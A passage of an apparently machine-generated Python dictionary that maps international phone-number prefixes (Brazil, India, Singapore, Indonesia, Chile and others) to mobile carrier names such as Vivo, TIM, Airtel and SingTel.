'9174678':{'en': 'Idea'},
'556198533':{'en': 'Brasil Telecom GSM'},
'556198532':{'en': 'Brasil Telecom GSM'},
'556198531':{'en': 'Brasil Telecom GSM'},
'556198537':{'en': 'Brasil Telecom GSM'},
'556198536':{'en': 'Brasil Telecom GSM'},
'556198535':{'en': 'Brasil Telecom GSM'},
'556198534':{'en': 'Brasil Telecom GSM'},
'556198539':{'en': 'Brasil Telecom GSM'},
'556198538':{'en': 'Brasil Telecom GSM'},
'9181330':{'en': 'Airtel'},
'65975':{'en': 'SingTel'},
'9181338':{'en': 'Airtel'},
'556199621':{'en': 'Vivo'},
'556199622':{'en': 'Vivo'},
'556199623':{'en': 'Vivo'},
'556199624':{'en': 'Vivo'},
'556199625':{'en': 'Vivo'},
'556199626':{'en': 'Vivo'},
'556199627':{'en': 'Vivo'},
'556398405':{'en': 'Brasil Telecom GSM'},
'556199629':{'en': 'Vivo'},
'556398407':{'en': 'Brasil Telecom GSM'},
'556398406':{'en': 'Brasil Telecom GSM'},
'556398401':{'en': 'Brasil Telecom GSM'},
'556398403':{'en': 'Brasil Telecom GSM'},
'556398402':{'en': 'Brasil Telecom GSM'},
'658283':{'en': 'SingTel'},
'658282':{'en': 'M1'},
'658281':{'en': 'SingTel'},
'658280':{'en': 'SingTel'},
'658287':{'en': 'SingTel'},
'658286':{'en': 'SingTel'},
'658285':{'en': 'SingTel'},
'658284':{'en': 'SingTel'},
'658289':{'en': 'SingTel'},
'658288':{'en': 'M1'},
'558698141':{'en': 'Vivo'},
'558698140':{'en': 'Vivo'},
'558698143':{'en': 'Vivo'},
'558698142':{'en': 'Vivo'},
'62856':{'en': 'IM3'},
'558698144':{'en': 'Vivo'},
'557199128':{'en': 'TIM'},
'557199129':{'en': 'TIM'},
'557199126':{'en': 'TIM'},
'557199127':{'en': 'TIM'},
'557199124':{'en': 'TIM'},
'557199125':{'en': 'TIM'},
'557199122':{'en': 'TIM'},
'557199123':{'en': 'TIM'},
'557199121':{'en': 'TIM'},
'558299313':{'en': 'Claro BR'},
'558299312':{'en': 'Claro BR'},
'558299311':{'en': 'Claro BR'},
'558299310':{'en': 'Claro BR'},
'558299317':{'en': 'Claro BR'},
'558299316':{'en': 'Claro BR'},
'6015632':{'en': 'Majlis Keselamatan Negara'},
'558299314':{'en': 'Claro BR'},
'558299318':{'en': 'Claro BR'},
'9175108':{'en': 'Idea'},
'9175109':{'en': 'Idea'},
'557199690':{'en': 'Vivo'},
'557199691':{'en': 'Vivo'},
'557199692':{'en': 'Vivo'},
'917272':{'en': 'Dishnet'},
'917273':{'en': 'Dishnet'},
'917270':{'en': 'Dishnet'},
'917271':{'en': 'Dishnet'},
'917276':{'en': 'Tata Docomo'},
'917277':{'en': 'Dishnet'},
'917274':{'en': 'Dishnet'},
'917275':{'en': 'Tata Docomo'},
'917278':{'en': 'Dishnet'},
'917279':{'en': 'Dishnet'},
'62215149':{'en': 'Esia'},
'62215148':{'en': 'Esia'},
'62215145':{'en': 'Esia'},
'62215144':{'en': 'Esia'},
'62215147':{'en': 'Esia'},
'62215146':{'en': 'Esia'},
'62215141':{'en': 'Esia'},
'62215143':{'en': 'Esia'},
'62215142':{'en': 'Esia'},
'556599677':{'en': 'Vivo'},
'556599676':{'en': 'Vivo'},
'556599675':{'en': 'Vivo'},
'556599674':{'en': 'Vivo'},
'556599673':{'en': 'Vivo'},
'556599672':{'en': 'Vivo'},
'556599671':{'en': 'Vivo'},
'9173308':{'en': 'Airtel'},
'9173309':{'en': 'Airtel'},
'658721':{'en': 'M1'},
'59597':{'en': 'Personal'},
'59596':{'en': 'Personal'},
'59599':{'en': 'Personal'},
'59598':{'en': 'Personal'},
'918122':{'en': 'Tata Docomo'},
'918121':{'en': 'Tata Docomo'},
'917098':{'en': 'Dishnet'},
'917099':{'en': 'Telewings'},
'917096':{'en': 'Idea'},
'917097':{'en': 'Aircel'},
'917094':{'en': 'Vodafone'},
'917095':{'en': 'Idea'},
'917092':{'en': 'Idea'},
'917093':{'en': 'Airtel'},
'917090':{'en': 'Idea'},
'917091':{'en': 'Airtel'},
'9183401':{'en': 'Reliance Jio'},
'9183402':{'en': 'Reliance Jio'},
'9183403':{'en': 'Reliance Jio'},
'9183404':{'en': 'Reliance Jio'},
'9183405':{'en': 'Reliance Jio'},
'9183406':{'en': 'Reliance Jio'},
'9183407':{'en': 'Reliance Jio'},
'659629':{'en': 'SingTel'},
'557599119':{'en': 'TIM'},
'557599118':{'en': 'TIM'},
'557599117':{'en': 'TIM'},
'557599116':{'en': 'TIM'},
'557599115':{'en': 'TIM'},
'557599114':{'en': 'TIM'},
'557599113':{'en': 'TIM'},
'557599112':{'en': 'TIM'},
'557599111':{'en': 'TIM'},
'55759823':{'en': 'Claro BR'},
'55759822':{'en': 'Claro BR'},
'55759821':{'en': 'Claro BR'},
'55759820':{'en': 'Claro BR'},
'55759826':{'en': 'Claro BR'},
'55759825':{'en': 'Claro BR'},
'55759824':{'en': 'Claro BR'},
'9176246':{'en': 'Idea'},
'9176247':{'en': 'Idea'},
'9176244':{'en': 'Idea'},
'9176245':{'en': 'Idea'},
'9176242':{'en': 'Idea'},
'9176243':{'en': 'Idea'},
'9176240':{'en': 'Idea'},
'9176241':{'en': 'Idea'},
'9176248':{'en': 'Airtel'},
'9176249':{'en': 'Airtel'},
'558899935':{'en': 'TIM'},
'558899934':{'en': 'TIM'},
'558899937':{'en': 'TIM'},
'558899936':{'en': 'TIM'},
'558899931':{'en': 'TIM'},
'918210':{'en': 'Reliance Jio'},
'558899933':{'en': 'TIM'},
'558899932':{'en': 'TIM'},
'558899939':{'en': 'TIM'},
'558899938':{'en': 'TIM'},
'6236285':{'en': 'Esia'},
'9172900':{'en': 'Vodafone'},
'9172909':{'en': 'Vodafone'},
'9172908':{'en': 'Vodafone'},
'917686':{'en': 'Dishnet'},
'556699999':{'en': 'Vivo'},
'556699998':{'en': 'Vivo'},
'556699997':{'en': 'Vivo'},
'556699996':{'en': 'Vivo'},
'556699995':{'en': 'Vivo'},
'556699994':{'en': 'Vivo'},
'556699993':{'en': 'Vivo'},
'556699992':{'en': 'Vivo'},
'556699991':{'en': 'Vivo'},
'917685':{'en': 'Dishnet'},
'62353999':{'en': 'Esia'},
'62353998':{'en': 'Esia'},
'62353997':{'en': 'Esia'},
'62353996':{'en': 'Esia'},
'62353995':{'en': 'Esia'},
'62751979':{'en': 'Esia'},
'557799136':{'en': 'TIM'},
'557799135':{'en': 'TIM'},
'557799131':{'en': 'TIM'},
'556699665':{'en': 'Vivo'},
'556699664':{'en': 'Vivo'},
'556699667':{'en': 'Vivo'},
'556699666':{'en': 'Vivo'},
'556699661':{'en': 'Vivo'},
'556699663':{'en': 'Vivo'},
'556699662':{'en': 'Vivo'},
'84868':{'en': 'Viettel Mobile'},
'556699669':{'en': 'Vivo'},
'556699668':{'en': 'Vivo'},
'55749811':{'en': 'Claro BR'},
'55749810':{'en': 'Claro BR'},
'9177195':{'en': 'Reliance'},
'9177194':{'en': 'Reliance'},
'9177197':{'en': 'Reliance'},
'9177196':{'en': 'Reliance'},
'9177191':{'en': 'Vodafone'},
'9177193':{'en': 'Vodafone'},
'9177192':{'en': 'Vodafone'},
'555499998':{'en': 'Vivo'},
'555499999':{'en': 'Vivo'},
'9176519':{'en': 'CellOne'},
'555499992':{'en': 'Vivo'},
'555499993':{'en': 'Vivo'},
'555499991':{'en': 'Vivo'},
'555499996':{'en': 'Vivo'},
'555499997':{'en': 'Vivo'},
'555499994':{'en': 'Vivo'},
'555499995':{'en': 'Vivo'},
'9180798':{'en': 'Idea'},
'8536377':{'en': 'China Telecom'},
'8536376':{'en': 'China Telecom'},
'8536375':{'en': 'China Telecom'},
'8536374':{'en': 'China Telecom'},
'8536373':{'en': 'China Telecom'},
'8536372':{'en': 'China Telecom'},
'8536371':{'en': 'China Telecom'},
'8536370':{'en': 'China Telecom'},
'8536379':{'en': '3'},
'8536378':{'en': '3'},
'559499903':{'en': 'Oi'},
'9181470':{'en': 'Tata Docomo'},
'57304':{'en': 'Une'},
'569817':{'en': 'Movistar'},
'569816':{'en': 'Movistar'},
'569815':{'en': 'Entel'},
'5583991':{'en': 'Claro BR'},
'569813':{'en': 'Entel'},
'569812':{'en': 'Movistar'},
'569811':{'en': 'Entel'},
'9180790':{'en': 'Reliance Jio'},
'556198506':{'en': 'Brasil Telecom GSM'},
'569819':{'en': 'Entel'},
'569818':{'en': 'Entel'},
'9180870':{'en': 'Tata Docomo'},
'9180060':{'en': 'Vodafone'},
'9176570':{'en': 'CellOne'},
'556398432':{'en': 'Brasil Telecom GSM'},
'559999133':{'en': 'Vivo'},
'57301':{'en': 'Tigo'},
'659120':{'en': 'SingTel'},
'559999132':{'en': 'Vivo'},
'9180797':{'en': 'Idea'},
'601078':{'en': 'Tune Talk'},
'601079':{'en': 'Tune Talk'},
'601076':{'en': 'DiGi'},
'601077':{'en': 'Tune Talk'},
'601070':{'en': 'Maxis'},
'601071':{'en': 'Maxis'},
'917537':{'en': 'Dishnet'},
'556198504':{'en': 'Brasil Telecom GSM'},
'6254292':{'en': 'Esia'},
'558198261':{'en': 'Vivo'},
'558198260':{'en': 'Vivo'},
'558198263':{'en': 'Vivo'},
'558198262':{'en': 'Vivo'},
'6232291':{'en': 'Esia'},
'5699289':{'en': 'Entel'},
'5699280':{'en': 'Movistar'},
'5699281':{'en': 'Movistar'},
'5699282':{'en': 'Movistar'},
'5699283':{'en': 'Movistar'},
'5699284':{'en': 'Movistar'},
'5699285':{'en': 'Instabeep'},
'5699286':{'en': 'Movistar'},
'5699287':{'en': 'Movistar'},
'62228812':{'en': 'Esia'},
'62228811':{'en': 'Esia'},
'62228810':{'en': 'Esia'},
'658494':{'en': 'SingTel'},
'658495':{'en': 'SingTel'},
'658492':{'en': 'SingTel'},
'658493':{'en': 'SingTel'},
'658490':{'en': 'SingTel'},
'658491':{'en': 'SingTel'},
'658498':{'en': 'StarHub'},
'658499':{'en': 'SingTel'},
'569673':{'en': 'Claro'},
'569672':{'en': 'Claro'},
'569671':{'en': 'Claro'},
'569670':{'en': 'Claro'},
'569675':{'en': 'Claro'},
'569674':{'en': 'Claro'},
'67668':{'en': 'U-Call'},
'62324999':{'en': 'Esia'},
'62324998':{'en': 'Esia'},
'658722':{'en': 'StarHub'},
'658723':{'en': 'M1'},
'658724':{'en': 'StarHub'},
'658725':{'en': 'StarHub'},
'658726':{'en': 'StarHub'},
'658727':{'en': 'StarHub'},
'658728':{'en': 'StarHub'},
'658729':{'en': 'StarHub'},
'62324995':{'en': 'Esia'},
'62324997':{'en': 'Esia'},
'62324996':{'en': 'Esia'},
'9180850':{'en': 'Airtel'},
'559898146':{'en': 'TIM'},
'9175908':{'en': 'Idea'},
'9172229':{'en': 'Airtel'},
'9175900':{'en': 'Idea'},
'852521':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'852526':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'852524':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'5579999':{'en': 'Vivo'},
'5579998':{'en': 'Vivo'},
'917676':{'en': 'Reliance'},
'917677':{'en': 'Reliance'},
'917674':{'en': 'Airtel'},
'9053383':{'en': 'Kuzey Kibris Turkcell'},
'917672':{'en': 'Reliance'},
'9177418':{'en': 'Idea'},
'917062':{'en': 'Aircel'},
'9177710':{'en': 'Idea'},
'9177419':{'en': 'Idea'},
'601857':{'en': 'U Mobile'},
'601858':{'en': 'YTL'},
'601859':{'en': 'YTL'},
'917679':{'en': 'Reliance'},
'65979':{'en': 'M1'},
'558699991':{'en': 'TIM'},
'65974':{'en': 'M1'},
'558699993':{'en': 'TIM'},
'558699992':{'en': 'TIM'},
'558699995':{'en': 'TIM'},
'558699994':{'en': 'TIM'},
'558699997':{'en': 'TIM'},
'558699996':{'en': 'TIM'},
'558699999':{'en': 'TIM'},
'558699998':{'en': 'TIM'},
'65976':{'en': 'M1'},
'9176509':{'en': 'CellOne'},
'9176508':{'en': 'CellOne'},
'65972':{'en': 'SingTel'},
'9173311':{'en': 'Airtel'},
'65973':{'en': 'SingTel'},
'6236199':{'en': 'Esia'},
'556199934':{'en': 'Vivo'},
'556199935':{'en': 'Vivo'},
'556199936':{'en': 'Vivo'},
'556199937':{'en': 'Vivo'},
'9177410':{'en': 'Idea'},
'556199931':{'en': 'Vivo'},
'556199932':{'en': 'Vivo'},
'556199933':{'en': 'Vivo'},
'556199938':{'en': 'Vivo'},
'556199939':{'en': 'Vivo'},
'9174699':{'en': 'Dishnet'},
'9174698':{'en': 'Dishnet'},
'9174690':{'en': 'Dishnet'},
'917065':{'en': 'Idea'},
'9181318':{'en': 'Hexacom'},
'9181310':{'en': 'Hexacom'},
'556199646':{'en': 'Vivo'},
'556199647':{'en': 'Vivo'},
'556199644':{'en': 'Vivo'},
'556199645':{'en': 'Vivo'},
'556199642':{'en': 'Vivo'},
'556398426':{'en': 'Brasil Telecom GSM'},
'556398425':{'en': 'Brasil Telecom GSM'},
'556199641':{'en': 'Vivo'},
'556398429':{'en': 'Brasil Telecom GSM'},
'556398428':{'en': 'Brasil Telecom GSM'},
'57319':{'en': 'Virgin Mobile'},
'57318':{'en': 'Movistar'},
'556199648':{'en': 'Vivo'},
'556199649':{'en': 'Vivo'},
'556998128':{'en': 'TIM'},
'658269':{'en': 'SingTel'},
'658268':{'en': 'StarHub'},
'658265':{'en': 'SingTel'},
'556998121':{'en': 'TIM'},
'556998122':{'en': 'TIM'},
'556998123':{'en': 'TIM'},
'556998124':{'en': 'TIM'},
'556998125':{'en': 'TIM'},
'556998126':{'en': 'TIM'},
'556998127':{'en': 'TIM'},
'557199104':{'en': 'TIM'},
'557199105':{'en': 'TIM'},
'557199106':{'en': 'TIM'},
'557199107':{'en': 'TIM'},
'557199101':{'en': 'TIM'},
'557199102':{'en': 'TIM'},
'557199103':{'en': 'TIM'},
'557199108':{'en': 'TIM'},
'557199109':{'en': 'TIM'},
'62877':{'en': 'XL'},
'555498124':{'en': 'TIM'},
'555498125':{'en': 'TIM'},
'555498126':{'en': 'TIM'},
'555498127':{'en': 'TIM'},
'555498121':{'en': 'TIM'},
'555498122':{'en': 'TIM'},
'555498123':{'en': 'TIM'},
'555498128':{'en': 'TIM'},
'555498129':{'en': 'TIM'},
'917258':{'en': 'Airtel'},
'917259':{'en': 'Airtel'},
'917528':{'en': 'Idea'},
'917529':{'en': 'Idea'},
'917254':{'en': 'Idea'},
'917255':{'en': 'Idea'},
'917256':{'en': 'Idea'},
'917525':{'en': 'Airtel'},
'917250':{'en': 'Airtel'},
'917251':{'en': 'Vodafone'},
'917252':{'en': 'Vodafone'},
'917253':{'en': 'Vodafone'},
'556599619':{'en': 'Vivo'},
'556599618':{'en': 'Vivo'},
'55829930':{'en': 'Claro BR'},
'556599615':{'en': 'Vivo'},
'556599614':{'en': 'Vivo'},
'556599617':{'en': 'Vivo'},
'556599616':{'en': 'Vivo'},
'556599611':{'en': 'Vivo'},
'556599613':{'en': 'Vivo'},
'556599612':{'en': 'Vivo'},
'917818':{'en': 'Reliance'},
'558399362':{'en': 'Claro BR'},
'917819':{'en': 'Reliance'},
'9180190':{'en': 'Tata Docomo'},
'917543':{'en': 'Airtel'},
'917817':{'en': 'Reliance'},
'917814':{'en': 'Reliance'},
'917815':{'en': 'Reliance'},
'62736998':{'en': 'Esia'},
'62736999':{'en': 'Esia'},
'9172699':{'en': 'Dishnet'},
'9172698':{'en': 'Dishnet'},
'659350':{'en': 'SingTel'},
'659351':{'en': 'SingTel'},
'9172690':{'en': 'Telewings'},
'557599175':{'en': 'TIM'},
'557599174':{'en': 'TIM'},
'557599177':{'en': 'TIM'},
'557599176':{'en': 'TIM'},
'918181':{'en': 'Dishnet'},
'918180':{'en': 'Telewings'},
'557599173':{'en': 'TIM'},
'557599172':{'en': 'TIM'},
'557599179':{'en': 'TIM'},
'557599178':{'en': 'TIM'},
'917240':{'en': 'Idea'},
'555399171':{'en': 'Claro BR'},
'555399170':{'en': 'Claro BR'},
'555399173':{'en': 'Claro BR'},
'555399172':{'en': 'Claro BR'},
'555399175':{'en': 'Claro BR'},
'555399174':{'en': 'Claro BR'},
'555399177':{'en': 'Claro BR'},
'555399176':{'en': 'Claro BR'},
'62736995':{'en': 'Esia'},
'558899919':{'en': 'TIM'},
'558899918':{'en': 'TIM'},
'558899913':{'en': 'TIM'},
'558899912':{'en': 'TIM'},
'558899911':{'en': 'TIM'},
'558899917':{'en': 'TIM'},
'558899916':{'en': 'TIM'},
'558899915':{'en': 'TIM'},
'558899914':{'en': 'TIM'},
'9181290':{'en': 'Airtel'},
'918239':{'en': 'Vodafone'},
'918238':{'en': 'Vodafone'},
'918237':{'en': 'Tata Docomo'},
'9177175':{'en': 'Reliance'},
'918235':{'en': 'Tata Docomo'},
'918234':{'en': 'Reliance'},
'918233':{'en': 'Tata Docomo'},
'918231':{'en': 'Reliance'},
'918230':{'en': 'Reliance'},
'9173630':{'en': 'Airtel'},
'659818':{'en': 'SingTel'},
'65983':{'en': 'SingTel'},
'65982':{'en': 'SingTel'},
'65985':{'en': 'StarHub'},
'65984':{'en': 'M1'},
'65987':{'en': 'M1'},
'65989':{'en': 'SingTel'},
'623995':{'en': 'Esia'},
'9174528':{'en': 'Telenor'},
'556699649':{'en': 'Vivo'},
'556699648':{'en': 'Vivo'},
'556699643':{'en': 'Vivo'},
'556699642':{'en': 'Vivo'},
'556699641':{'en': 'Vivo'},
'556699647':{'en': 'Vivo'},
'556699646':{'en': 'Vivo'},
'556699645':{'en': 'Vivo'},
'556699644':{'en': 'Vivo'},
'9177177':{'en': 'Reliance Jio'},
'9177176':{'en': 'Reliance'},
'917602':{'en': 'Airtel'},
'9177174':{'en': 'Reliance'},
'9177173':{'en': 'Reliance'},
'9177171':{'en': 'Idea'},
'55719996':{'en': 'Vivo'},
'9175582':{'en': 'Airtel'},
'9179313':{'en': 'Reliance Jio'},
'55859924':{'en': 'Claro BR'},
'55859923':{'en': 'Claro BR'},
'55859922':{'en': 'Claro BR'},
'55859921':{'en': 'Claro BR'},
'55859920':{'en': 'Claro BR'},
'917601':{'en': 'Reliance'},
'55889940':{'en': 'Claro BR'},
'55889941':{'en': 'Claro BR'},
'55889942':{'en': 'Claro BR'},
'55889943':{'en': 'Claro BR'},
'55889944':{'en': 'Claro BR'},
'55889945':{'en': 'Claro BR'},
'55669997':{'en': 'Vivo'},
'55669998':{'en': 'Vivo'},
'85365429':{'en': 'China Telecom'},
'85365428':{'en': 'China Telecom'},
'85365427':{'en': 'China Telecom'},
'85365426':{'en': 'China Telecom'},
'85365425':{'en': 'China Telecom'},
'85365424':{'en': '3'},
'85365423':{'en': '3'},
'85365422':{'en': '3'},
'85365421':{'en': '3'},
'8536605':{'en': 'China Telecom'},
'8536603':{'en': '3'},
'8536602':{'en': 'SmarTone'},
'8536601':{'en': 'CTM'},
'9181450':{'en': 'Vodafone'},
'9181109':{'en': 'Vodafone'},
'9181108':{'en': 'Vodafone'},
'9181100':{'en': 'Vodafone'},
'569871':{'en': 'Claro'},
'569870':{'en': 'Claro'},
'569873':{'en': 'Entel'},
'569872':{'en': 'Entel'},
'569875':{'en': 'Entel'},
'569874':{'en': 'Entel'},
'569877':{'en': 'Claro'},
'569876':{'en': 'Entel'},
'569879':{'en': 'Movistar'},
'569878':{'en': 'Movistar'},
'917248':{'en': 'Idea'},
'6235490':{'en': 'Esia'},
'6235491':{'en': 'Esia'},
'6235492':{'en': 'Esia'},
'9178808':{'en': 'Airtel'},
'9178809':{'en': 'Airtel'},
'9178806':{'en': 'Airtel'},
'9178807':{'en': 'Airtel'},
'9178804':{'en': 'Airtel'},
'9178805':{'en': 'Airtel'},
'9178802':{'en': 'Tata Docomo'},
'9178803':{'en': 'Airtel'},
'9178800':{'en': 'Tata Docomo'},
'9178801':{'en': 'Tata Docomo'},
'601058':{'en': 'Celcom'},
'601059':{'en': 'Celcom'},
'601050':{'en': 'Tune Talk'},
'601051':{'en': 'Tune Talk'},
'601052':{'en': 'Tune Talk'},
'601053':{'en': 'Tune Talk'},
'601054':{'en': 'Tune Talk'},
'601055':{'en': 'Packet One'},
'601056':{'en': 'DiGi'},
'601057':{'en': 'Celcom'},
'658826':{'en': 'M1'},
'556599657':{'en': 'Vivo'},
'556599656':{'en': 'Vivo'},
'62911401':{'en': 'Esia'},
'62911400':{'en': 'Esia'},
'62911403':{'en': 'Esia'},
'62911402':{'en': 'Esia'},
'62911404':{'en': 'Esia'},
'556498431':{'en': 'Brasil Telecom GSM'},
'556498433':{'en': 'Brasil Telecom GSM'},
'556498432':{'en': 'Brasil Telecom GSM'},
'556498435':{'en': 'Brasil Telecom GSM'},
'556498434':{'en': 'Brasil Telecom GSM'},
'556498437':{'en': 'Brasil Telecom GSM'},
'556498436':{'en': 'Brasil Telecom GSM'},
'556498439':{'en': 'Brasil Telecom GSM'},
'556498438':{'en': 'Brasil Telecom GSM'},
'9180500':{'en': 'Tata Docomo'},
'557199189':{'en': 'TIM'},
'9174529':{'en': 'Telenor'},
'61400':{'en': 'Telstra'},
'9178409':{'en': 'Telewings'},
'61401':{'en': 'Optus'},
'9174520':{'en': 'Telenor'},
'557199184':{'en': 'TIM'},
'559998135':{'en': 'TIM'},
'557199186':{'en': 'TIM'},
'559998137':{'en': 'TIM'},
'569699':{'en': 'Telecomunicaciones Dotcom'},
'569695':{'en': 'Blue Two'},
'569694':{'en': 'NetUno'},
'569697':{'en': u('VTR M\u00f3vil')},
'569696':{'en': 'Virgin Mobile'},
'569690':{'en': 'Entel'},
'569693':{'en': 'Quantax'},
'569692':{'en': 'Television Interactiva'},
'61408':{'en': 'Telstra'},
'557199182':{'en': 'TIM'},
'559998133':{'en': 'TIM'},
'559199609':{'en': 'Oi'},
'559199608':{'en': 'Oi'},
'559199605':{'en': 'Oi'},
'559199604':{'en': 'Oi'},
'559199607':{'en': 'Oi'},
'559199606':{'en': 'Oi'},
'559199601':{'en': 'Oi'},
'559199603':{'en': 'Oi'},
'559199602':{'en': 'Oi'},
'659297':{'en': 'SingTel'},
'659296':{'en': 'SingTel'},
'659295':{'en': 'SingTel'},
'6226099':{'en': 'Esia'},
'6226091':{'en': 'Esia'},
'659299':{'en': 'SingTel'},
'659298':{'en': 'SingTel'},
'9177538':{'en': 'Airtel'},
'559699972':{'en': 'Oi'},
'559699973':{'en': 'Oi'},
'559699970':{'en': 'Oi'},
'559699971':{'en': 'Oi'},
'559699976':{'en': 'Oi'},
'559699974':{'en': 'Oi'},
'559699975':{'en': 'Oi'},
'6018822':{'en': 'YTL'},
'6018820':{'en': 'YTL'},
'9175920':{'en': 'Vodafone'},
'556198566':{'en': 'Brasil Telecom GSM'},
'9175928':{'en': 'Vodafone'},
'9175929':{'en': 'Vodafone'},
'6018824':{'en': 'YTL'},
'62243601':{'en': 'Esia'},
'62243600':{'en': 'Esia'},
'62243603':{'en': 'Esia'},
'62243602':{'en': 'Esia'},
'62243605':{'en': 'Esia'},
'62243604':{'en': 'Esia'},
'556999958':{'en': 'Vivo'},
'556999959':{'en': 'Vivo'},
'556999952':{'en': 'Vivo'},
'556999953':{'en': 'Vivo'},
'556999951':{'en': 'Vivo'},
'556999956':{'en': 'Vivo'},
'556999957':{'en': 'Vivo'},
'556999954':{'en': 'Vivo'},
'556999955':{'en': 'Vivo'},
'556599909':{'en': 'Vivo'},
'556599908':{'en': 'Vivo'},
'917810':{'en': 'Reliance'},
'593993':{'en': 'Claro'},
'593991':{'en': 'Claro'},
'593990':{'en': 'Claro'},
'593997':{'en': 'Claro'},
'593996':{'en': 'CNT'},
'593995':{'en': 'Movistar'},
'593994':{'en': 'Claro'},
'55869993':{'en': 'TIM'},
'55869992':{'en': 'TIM'},
'55869994':{'en': 'TIM'},
'9177228':{'en': 'Reliance'},
'601838':{'en': 'U Mobile'},
'601839':{'en': 'U Mobile'},
'601832':{'en': 'U Mobile'},
'556499968':{'en': 'Vivo'},
'601830':{'en': 'YTL'},
'601831':{'en': 'U Mobile'},
'601836':{'en': 'U Mobile'},
'601837':{'en': 'U Mobile'},
'556499969':{'en': 'Vivo'},
'55689997':{'en': 'Vivo'},
'65844':{'en': 'M1'},
'55689998':{'en': 'Vivo'},
'65842':{'en': 'SingTel'},
'65843':{'en': 'SingTel'},
'6228199':{'en': 'Esia'},
'917560':{'en': 'Idea'},
'9177788':{'en': 'Telewings'},
'8536290':{'en': 'CTM'},
'8536291':{'en': 'CTM'},
'8536292':{'en': '3'},
'8536293':{'en': '3'},
'8536294':{'en': '3'},
'8536295':{'en': '3'},
'8536296':{'en': 'CTM'},
'8536297':{'en': 'CTM'},
'8536298':{'en': 'CTM'},
'8536299':{'en': 'CTM'},
'9174320':{'en': 'Vodafone'},
'55749998':{'en': 'Vivo'},
'9176789':{'en': 'Idea'},
'558499468':{'en': 'Claro BR'},
'558499467':{'en': 'Claro BR'},
'558499466':{'en': 'Claro BR'},
'558499465':{'en': 'Claro BR'},
'558499464':{'en': 'Claro BR'},
'558499463':{'en': 'Claro BR'},
'558499462':{'en': 'Claro BR'},
'558499461':{'en': 'Claro BR'},
'55749995':{'en': 'Vivo'},
'623191':{'en': 'Esia'},
'9177438':{'en': 'Idea'},
'623192':{'en': 'Esia'},
'9177430':{'en': 'Reliance'},
'55719834':{'en': 'Claro BR'},
'55719835':{'en': 'Claro BR'},
'55719830':{'en': 'Claro BR'},
'55719831':{'en': 'Claro BR'},
'55719832':{'en': 'Claro BR'},
'55719833':{'en': 'Claro BR'},
'917428':{'en': 'Reliance'},
'557399999':{'en': 'Vivo'},
'557399998':{'en': 'Vivo'},
'557399995':{'en': 'Vivo'},
'557399994':{'en': 'Vivo'},
'557399997':{'en': 'Vivo'},
'557399996':{'en': 'Vivo'},
'557399991':{'en': 'Vivo'},
'557399990':{'en': 'Vivo'},
'557399993':{'en': 'Vivo'},
'557399992':{'en': 'Vivo'},
'6221412':{'en': 'Esia'},
'9181598':{'en': 'Airtel'},
'556298111':{'en': 'TIM'},
'556298112':{'en': 'TIM'},
'6226792':{'en': 'Esia'},
'6226791':{'en': 'Esia'},
'556298113':{'en': 'TIM'},
'6226794':{'en': 'Esia'},
'556298114':{'en': 'TIM'},
'556298115':{'en': 'TIM'},
'6015678':{'en': 'Eletcoms'},
'556298116':{'en': 'TIM'},
'556298117':{'en': 'TIM'},
'558798124':{'en': 'Vivo'},
'558798125':{'en': 'Vivo'},
'569998':{'en': 'Claro'},
'556199668':{'en': 'Vivo'},
'558798121':{'en': 'Vivo'},
'558798122':{'en': 'Vivo'},
'558798123':{'en': 'Vivo'},
'569992':{'en': 'Claro'},
'569993':{'en': 'Entel'},
'556199666':{'en': 'Vivo'},
'556199667':{'en': 'Vivo'},
'556199661':{'en': 'Vivo'},
'569994':{'en': 'Entel'},
'569995':{'en': 'Movistar'},
'917508':{'en': 'Vodafone'},
'917509':{'en': 'Vodafone'},
'917500':{'en': 'Idea'},
'917501':{'en': 'Tata Docomo'},
'917502':{'en': 'Aircel'},
'917503':{'en': 'Aircel'},
'917504':{'en': 'Dishnet'},
'9174808':{'en': 'Telenor'},
'917506':{'en': 'Vodafone'},
'917507':{'en': 'Vodafone'},
'556599633':{'en': 'Vivo'},
'556599632':{'en': 'Vivo'},
'556599631':{'en': 'Vivo'},
'659197':{'en': 'M1'},
'556599637':{'en': 'Vivo'},
'556599636':{'en': 'Vivo'},
'556599635':{'en': 'Vivo'},
'556599634':{'en': 'Vivo'},
'558399342':{'en': 'Claro BR'},
'556599639':{'en': 'Vivo'},
'556599638':{'en': 'Vivo'},
'659198':{'en': 'M1'},
'659199':{'en': 'StarHub'},
'918298':{'en': 'Vodafone'},
'9174800':{'en': 'Telenor'},
'659371':{'en': 'SingTel'},
'659372':{'en': 'SingTel'},
'559499953':{'en': 'Oi'},
'62411972':{'en': 'Esia'},
'62411973':{'en': 'Esia'},
'62411970':{'en': 'Esia'},
'62411971':{'en': 'Esia'},
'62411974':{'en': 'Esia'},
'559198215':{'en': 'TIM'},
'559198214':{'en': 'TIM'},
'559198217':{'en': 'TIM'},
'559198216':{'en': 'TIM'},
'559198211':{'en': 'TIM'},
'559198213':{'en': 'TIM'},
'559198212':{'en': 'TIM'},
'67773':{'en': 'Solomon Telekom'},
'559198219':{'en': 'TIM'},
'559198218':{'en': 'TIM'},
'67776':{'en': 'Solomon Telekom'},
'67777':{'en': 'Solomon Telekom'},
'569736':{'en': 'Claro'},
'569737':{'en': 'Entel'},
'569734':{'en': 'Claro'},
'569735':{'en': 'Claro'},
'569732':{'en': 'Claro'},
'569733':{'en': 'Claro'},
'569730':{'en': 'Claro'},
'569731':{'en': 'Claro'},
'569738':{'en': 'Entel'},
'569739':{'en': 'Entel'},
'918259':{'en': 'Vodafone'},
'918258':{'en': 'Vodafone'},
'556298119':{'en': 'TIM'},
'918251':{'en': 'Reliance'},
'918250':{'en': 'Reliance Jio'},
'918253':{'en': 'Reliance'},
'918252':{'en': 'Reliance'},
'918255':{'en': 'Reliance'},
'918254':{'en': 'Reliance'},
'918257':{'en': 'Vodafone'},
'8525730':{'en': 'Tai Tung', 'zh': u('\u53f0\u4e1c'), 'zh_Hant': u('\u81fa\u6771')},
'918297':{'en': 'Vodafone'},
'558499618':{'en': 'TIM'},
'558499619':{'en': 'TIM'},
'559398415':{'en': 'Claro BR'},
'559398414':{'en': 'Claro BR'},
'558499612':{'en': 'TIM'},
'559398416':{'en': 'Claro BR'},
'559398411':{'en': 'Claro BR'},
'558499615':{'en': 'TIM'},
'558499616':{'en': 'TIM'},
